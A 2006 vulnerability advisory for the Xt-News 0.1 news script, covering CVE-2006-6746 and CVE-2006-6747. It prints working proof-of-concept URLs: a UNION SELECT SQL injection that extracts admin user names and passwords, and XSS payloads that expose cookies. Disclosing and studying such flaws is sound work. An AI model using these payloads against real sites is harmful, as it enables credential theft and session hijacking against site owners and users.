Topic:	Xt-News 0.1 : SQL Injection Vulnerability & XSS
Credit:	Mr_kaliman
Date:	2006.12.29
CWE:	CWE-89 (Show similar)
CVE:	CVE-2006-6746 (Show details) CVE-2006-6747 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

Xt-News 0.1
-----------
Vendor site: http://dreaxteam.free.fr/forums/
Product: Xt-News 0.1
Vulnerability: SQL Injection Vulnerability & XSS
Credits: Mr_KaLiMaN
Reported to Vendor: 10/12/06
Public disclosure: 22/12/06

Description:
------------
SQL Injection Vulnerability:
http://[victim]/[script_news_path]/show_news.php?id_news=[SQL INJECTION]
http://[victim]/[script_news_path]/show_news.php?id_news=-1 UNION SELECT
id,user,null,null,mdp,null,null,null,null,null,null FROM xtnews_users WHERE admin=1#

XSS:
http://[victim]/[script_news_path]/add_comment.php?id_news=[XSS]
http://[victim]/[script_news_path]/add_comment.php?id_news="><script>ale
rt(document.cookie)</script><foo "
http://[victim]/[script_news_path]/show_news.php?id_news=[XSS]
http://[victim]/[script_news_path]/show_news.php?id_news='><script>alert
(document.cookie)</script><foo '

-------------------